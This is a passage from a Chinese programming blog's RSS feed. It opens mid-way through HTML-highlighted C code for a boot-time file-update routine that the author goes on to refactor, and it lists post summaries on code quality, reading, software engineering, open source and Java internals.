&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        LOAD_End();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        BOOTTRACE(TRACE_ERR, &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;The LOAD Begin return error&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;return&lt;/span&gt; VOS_ERR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;while&lt;/span&gt;(VOS_TRUE) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;for&lt;/span&gt;(count=&lt;span style=&#34;color:#b452cd&#34;&gt;0&lt;/span&gt;;count&amp;lt;g_downloadFileCount;count++) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt; (g_pstFileListInfo[count].enLoadCheckResult == LS_SUCESS_UPDATE ) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                enIsHaveUpdateOk = VOS_TRUE;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;for&lt;/span&gt;(count=&lt;span style=&#34;color:#b452cd&#34;&gt;0&lt;/span&gt;;count&amp;lt;g_downloadFileCount;count++) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt; (g_pstFileListInfo[count].enLoadCheckResult != LS_SUCESS_UPDATE &amp;amp;&amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                (g_pstFileListInfo[count].enLoadCheckResult != LS_NOT_NEED_UPDATE) &amp;amp;&amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                (g_pstFileListInfo[count].enLoadCheckResult != LS_OMU_NORESPONSE) &amp;amp;&amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                (g_pstFileListInfo[count].enLoadCheckResult != LS_OMU_REFUSE)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                BOOTTRACE(TRACE_ERR, &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;update file %s error and result=%d&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    g_pstFileListInfo[count].acFileName,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    g_pstFileListInfo[count].enLoadCheckResult);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;break&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt; ((g_pstFileListInfo[count].enLoadCheckResult != LS_OMU_NORESPONSE) &amp;amp;&amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                (enIsHaveUpdateOk == VOS_TRUE) ) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                BOOTTRACE(TRACE_ERR, &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;Not all files are updated,download these file again&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;break&lt;/span&gt;;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt; ((g_pstFileListInfo[count].enLoadCheckResult != LS_OMU_REFUSE) &amp;amp;&amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                (enIsHaveUpdateOk == VOS_TRUE) ) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                BOOTTRACE(TRACE_ERR, &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;Not all files version are consistent with inschk,download these file again&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;break&lt;/span&gt;;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt; ((g_pstFileListInfo[count].enLoadCheckResult != LS_OMU_NORESPONSE) &amp;amp;&amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                (g_pstFileListInfo[count].bLocalCheck = VOS_FALSE) ) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                BOOTTRACE(TRACE_ERR, &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;Fail to connect witch OMU server and local file %s is uncertain, I will still download these files&amp;#34;&lt;/span&gt;, g_pstFileListInfo[count].acFileName);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;break&lt;/span&gt;;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt; ((g_pstFileListInfo[count].enLoadCheckResult != LS_OMU_REFUSE) &amp;amp;&amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                (g_pstFileListInfo[count].bLocalCheck = VOS_FALSE) ) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                BOOTTRACE(TRACE_ERR, &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;OMU fesuse to update and %s local check result=%d or some file updated&amp;#34;&lt;/span&gt;, g_pstFileListInfo[count].acFileName, g_pstFileListInfo[count].bLocalCheck);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;break&lt;/span&gt;;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt; (g_pstFileListInfo[count].ucFileType == PROG_FILE_TYPE ) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                siRet = snprintf_s(ascExcuteFile, &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;sizeof&lt;/span&gt;(ascExcuteFile),  &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;sizeof&lt;/span&gt;(ascExcuteFile)-&lt;span style=&#34;color:#b452cd&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                         &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;%s/%s&amp;#34;&lt;/span&gt;, g_pstFileListInfo[count].acFileExecuteDir, g_pstFileListInfo[count].acFileName);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt; (siRet &amp;lt;= &lt;span style=&#34;color:#b452cd&#34;&gt;0&lt;/span&gt; ) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    BOOTTRACE(TRACE_ERR, &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;[%s:%d] snprintf_s failed,&amp;#34;&lt;/span&gt;, __FUNCTION__, __LINE__);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;break&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                (&lt;span style=&#34;color:#00688b;font-weight:bold&#34;&gt;void&lt;/span&gt;)chmod(ascExcuteFile, S_IRUSE | S_IXUSR);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt; (count == g_downloadFileCount) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            BOOTTRACE(TRACE_TIP, &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;All %d files checked or updated OK.&amp;#34;&lt;/span&gt;, g_downloadFileCount);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;for&lt;/span&gt;(count=&lt;span style=&#34;color:#b452cd&#34;&gt;0&lt;/span&gt;;count&amp;lt;g_downloadFileCount;count++) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                BOOTTRACE(TRACE_LOD, &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;%d update result is %d and local check result is %d.&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                 g_pstFileListInfo[count].acFileName, g_pstFileListInfo[count].enLoadCheckResult,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                 g_pstFileListInfo[count].bLocalCheck);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;break&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        } &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt; (g_pstFileListInfo[count].enLoadCheckResult == LS_DISK_FULL){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                sleepTimeLen=INSTALL_DISK_FULL_AGAIN_TIMELEN;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            } &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                sleepTimeLen=INSTALL_CONNECT_OMU_AGAIN_TIMELEN;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            BOOTTRACE(TRACE_ERR, &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;Update file error so sleep for %d second and try again&amp;#34;&lt;/span&gt;, sleepTimeLen);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            SLEEP(sleepTimeLen);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            siRet=LOAD_Begin(LD_STAGE_INSCHK, &amp;amp;g_downloadFileCount, g_pstFileListInfo, LD_ONLINE_UPDATE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt;(siRet != VOS_OK) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                LOAD_End();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                BOOTTRACE(TRACE_ERR, &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;The LOAD Begin return error&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;return&lt;/span&gt; VOS_ERR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    BOOTTRACE(TRACE_DBG, &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;Exit STARTER_Download&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    LOAD_End();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;return&lt;/span&gt; VOS_OK;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;上面的代码我已是删除了每个条件判断的注释，但是代码看起还是有点长。如果不仔细读，还真不看出不函数完成的功能。再来看优化重构之后的代码：&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码1：确保资源被释放</title>
      <link>http://lanlingzi.cn/post/technical/2020/0516_code/</link>
      <pubDate>Sat, 16 May 2020 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2020/0516_code/</guid>
      <description>&lt;h1 id=&#34;案例&#34;&gt;案例&lt;/h1&gt;
&lt;p&gt;下面的代码来自我们某一工具源码(Python语言)中：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;file_gz = gzip.GzipFile(file_name)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;src_path, src_file = os.path.split(file_name)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tmp_file_name = os.path.join(path_name, src_file).strip(&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#39;gz&amp;#39;&lt;/span&gt;).strip(&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#39;.&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tmp_file = &lt;span style=&#34;color:#658b00&#34;&gt;open&lt;/span&gt;(tmp_file_name, &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#39;wb&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tmp_file.writeline(file_gz.realines())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;file_gz.close()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tmp_file.close()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os.remove(file_name)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;从代码健壮角度来看，存在如下两个问题：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;缺少捕获异常，在GzipFile打开文件，open打开文件之后的操作都可能抛出异常&lt;/li&gt;
&lt;li&gt;当抛出异常时，file_gz与tmp_file就会出现未正常close，存在文件句柄的泄露问题&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;能正确释放资源的建议写法是:&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>阅读</title>
      <link>http://lanlingzi.cn/post/thoughts/2020/0329_read/</link>
      <pubDate>Sun, 29 Mar 2020 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/thoughts/2020/0329_read/</guid>
      <description>&lt;p&gt;生于80后，长相70后的我们，不知不觉已将跨入不惑不年。但还是为了房子、孩子、票子日复一日地忙碌工作，曾经年少的理想也慢慢被岁月磨平，也根本没有精力抽出一丁点的时间来读一本书，仰望一下星空。有人说：一日不读书，无人看得出；一周不读书，开始会爆粗；一月不读书，智商输给猪。当停下手中的工作工作，才发现自己知识结构那么地匮乏。&lt;/p&gt;
&lt;p&gt;曾经梦想把阅读当成生活的重要组成部分，把阅读当作精神升华的方式。有自己一个独立的书房，书柜上摆上经典的、实用的、消遣的书籍，在空闲的时间里抱上一本细细咀嚼，娴静地阅读，享受书的世界，感受书的力量。&lt;/p&gt;
&lt;p&gt;有些事，我们明知道是错的，也要去坚持，因为不甘心；有时候，我们明知道没有路了，却还在前行，因为习惯了。没有正确的方向，再多报努力也可能没有结果。阅读才能使自己的内心强大，也不会陷入死胡同，走正确的路，即时放弃错误的持着。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>软件工程文化</title>
      <link>http://lanlingzi.cn/post/technical/2020/0322_engining/</link>
      <pubDate>Sun, 22 Mar 2020 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2020/0322_engining/</guid>
      <description>&lt;h1 id=&#34;软件危机&#34;&gt;软件危机&lt;/h1&gt;
&lt;p&gt;软件工程师的困惑：软件具有太多的不确定性，软件工程师每天日复一日的工作，大多数面对的都是自己目前不知道答案的问题。我们依赖着过去的经验，朝着大致的方向，努力地解决一个又一个问题。但历史的经验并不解决未来的问题，反面太多成功的经验可能会让我们陷入经验主义。我们也会经常责怪前人犯下的错误，需要我们去应对。我们讨厌需求的变更，它让我们曾经的付出付诸东流。变更是软件开发中不可避免的，所以我们在任何的阶段都要去适应变。即使软件发布了，也不可能一劳永逸，它像一个生命体还得继续维护。&lt;/p&gt;
&lt;p&gt;从软件项目管理角度的困惑，软件存在所谓的软件危机：软件的开发进度难以预测；软件的开发成本难以控制；软件的功能难以满足用户；软件的产品质量无法保证；软件产品难以维护&amp;hellip;..&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>开源软件知识</title>
      <link>http://lanlingzi.cn/post/technical/2019/1013_opensource/</link>
      <pubDate>Sun, 13 Oct 2019 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2019/1013_opensource/</guid>
      <description>&lt;h1 id=&#34;什么是开源软件&#34;&gt;什么是开源软件&lt;/h1&gt;
&lt;p&gt;开放源代码促进会（OSI：Open Source Initiative），是一个致力于推动开源软件发展的非盈利组织。&lt;/p&gt;
&lt;p&gt;开源软件（OSS：Open Source Softwar）即开放源代码软件，其定义首先起源于自由软件（FS：Free Software）。OSI将开放源码定义为：“开放源码，通过支持源代码的独立同行评议和快速发展演变，提高了软件的可靠性和质量。要通过 OSI 认证，软件必须在获得许可证的情况下发布，该许可证可保证免费读取、重新发布、修改和使用该软件的权利。&lt;/p&gt;
&lt;p&gt;开源软件的特点：可自由使用、无任何担保、无许可费、可获得源代码、享有版本、有特定License&lt;/p&gt;
&lt;p&gt;开源软件的三大组成要素；&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;License：是游戏规则 ，有严密的组织监管&lt;/li&gt;
&lt;li&gt;社区是组织方式：是其发展的核心学问所在，主要特征：无明确路标、子项目充分竞争、充分的对等评审、用户充分参与、源码发布、经常发布，Internet发布。&lt;/li&gt;
&lt;li&gt;商业模式是本质：模式并不是其独有的，主要包括：捐赠、技术服务、广告、增值产品，双重授权、软硬件结合等。&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>跟我一起复习Java-10：工具体系</title>
      <link>http://lanlingzi.cn/post/technical/2019/1006_java_base_10/</link>
      <pubDate>Sun, 06 Oct 2019 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2019/1006_java_base_10/</guid>
      <description>&lt;h1 id=&#34;jvmti&#34;&gt;JVMTI&lt;/h1&gt;
&lt;p&gt;JVMTI（Java VM Tool Interface）就是JVM对外暴露的接口。&lt;/p&gt;
&lt;p&gt;JVMTI 本质上是在JVM内部的许多事件进行了埋点。通过这些埋点可以给外部提供当前上下文的一些信息。甚至可以接受外部的命令来改变下一步的动作。外部程序一般利用C/C++实现一个JVMTI Agent，在Agent里面注册一些JVM事件的回调。当事件发生时JVMTI调用这些回调方法。Agent可以在回调方法里面实现自己的逻辑。JVMTI Agent是以动态链接库的形式被虚拟机加载的。&lt;/p&gt;
&lt;p&gt;JVMTI Agent启动方式： &lt;code&gt;-agentlib:&amp;lt;agent-lib-name&amp;gt;=&amp;lt;options&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;JVMTI Agent回调函数：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;OnLoad阶段： 调用动态库的Agent_OnLoad函数&lt;/li&gt;
&lt;li&gt;Live阶段： 调用动态库的Agent_OnAttach函数&lt;/li&gt;
&lt;li&gt;关闭阶段：调用动态库的Agent_OnUnload函数&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>跟我一起复习Java-9：JNI/JIT/SM</title>
      <link>http://lanlingzi.cn/post/technical/2019/1005_java_base_9/</link>
      <pubDate>Sat, 05 Oct 2019 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2019/1005_java_base_9/</guid>
      <description>&lt;h1 id=&#34;jni&#34;&gt;JNI&lt;/h1&gt;
&lt;p&gt;JNI是Java Native Interface的缩写，通过使用 Java本地接口书写程序，可以确保代码在不同的平台上方便移植。JNI标准成为java平台的一部分，它允许Java代码和其他语言写的代码进行交互。JNI一开始是为了本地已编译语言，尤其是C和C++而设计的，但是它并不妨碍你使用其他编程语言，只要调用约定受支持就可以了。&lt;/p&gt;
&lt;p&gt;JNI开发流程主要分为以下6步：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;编写声明了native方法的Java类&lt;/li&gt;
&lt;li&gt;将Java源代码编译成class字节码文件&lt;/li&gt;
&lt;li&gt;用javah -jni命令生成.h头文件（javah是jdk自带的一个命令，-jni参数表示将class中用native声明的函数生成jni规则的函数）&lt;/li&gt;
&lt;li&gt;用本地代码实现.h头文件中的函数&lt;/li&gt;
&lt;li&gt;将本地代码编译成动态库（&lt;code&gt;windows：*.dll，linux/unix：*.so，mac os x：*.jnilib&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;拷贝动态库至 java.library.path 本地库搜索目录下，并运行Java程序&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    
    <item>
      <title>跟我一起复习Java-8：内存模型</title>
      <link>http://lanlingzi.cn/post/technical/2019/1004_java_base_8/</link>
      <pubDate>Fri, 04 Oct 2019 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2019/1004_java_base_8/</guid>
      <description>&lt;h1 id=&#34;内存模型&#34;&gt;内存模型&lt;/h1&gt;
&lt;p&gt;&lt;img src=&#34;http://lanlingzi.cn/images/java/java_memory3.webp&#34; alt=&#34;java_memory3.png&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;堆&#34;&gt;堆&lt;/h2&gt;
&lt;p&gt;堆（Heap）是JVM所管理的内存中最大的一块内存区域，也是被各个线程共享的内存区域，该内存区域存放了对象实例及数组（但不是所有的对象实例都在堆中）。堆由垃圾收集器自动回收，是OOM故障最主要的发源地。&lt;/p&gt;
&lt;p&gt;通过下两个参数来分配堆使用的内存大小：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;-Xms：最小堆容量，默认是物理内存的1/64。&lt;/li&gt;
&lt;li&gt;-Xmx：最大堆容量，默认是物理内存的1/4。&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>跟我一起复习Java-7：泛型</title>
      <link>http://lanlingzi.cn/post/technical/2019/1003_java_base_7/</link>
      <pubDate>Thu, 03 Oct 2019 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2019/1003_java_base_7/</guid>
      <description>&lt;h1 id=&#34;泛型&#34;&gt;泛型&lt;/h1&gt;
&lt;p&gt;泛型是Java 5的一项新特性，它的本质是参数化类型（Parameterized Type）的应用，也就是说所操作的数据类型被指定为一个参数，在用到的时候在指定具体的类型。这种参数类型可以用在类、接口和方法的创建中，分别称为泛型类、泛型接口和泛型方法。&lt;/p&gt;
&lt;p&gt;泛型使类型（类和接口）在定义类、接口和方法时成为参数，好处在于：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;强化类型安全，由于泛型在编译期进行类型检查，从而保证类型安全，减少运行期的类型转换异常&lt;/li&gt;
&lt;li&gt;提高代码复用，泛型能减少重复逻辑，编写更简洁的代码&lt;/li&gt;
&lt;li&gt;类型依赖关系更加明确，接口定义更加优好，增强了代码和文档的易读性&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;实现&#34;&gt;实现&lt;/h2&gt;
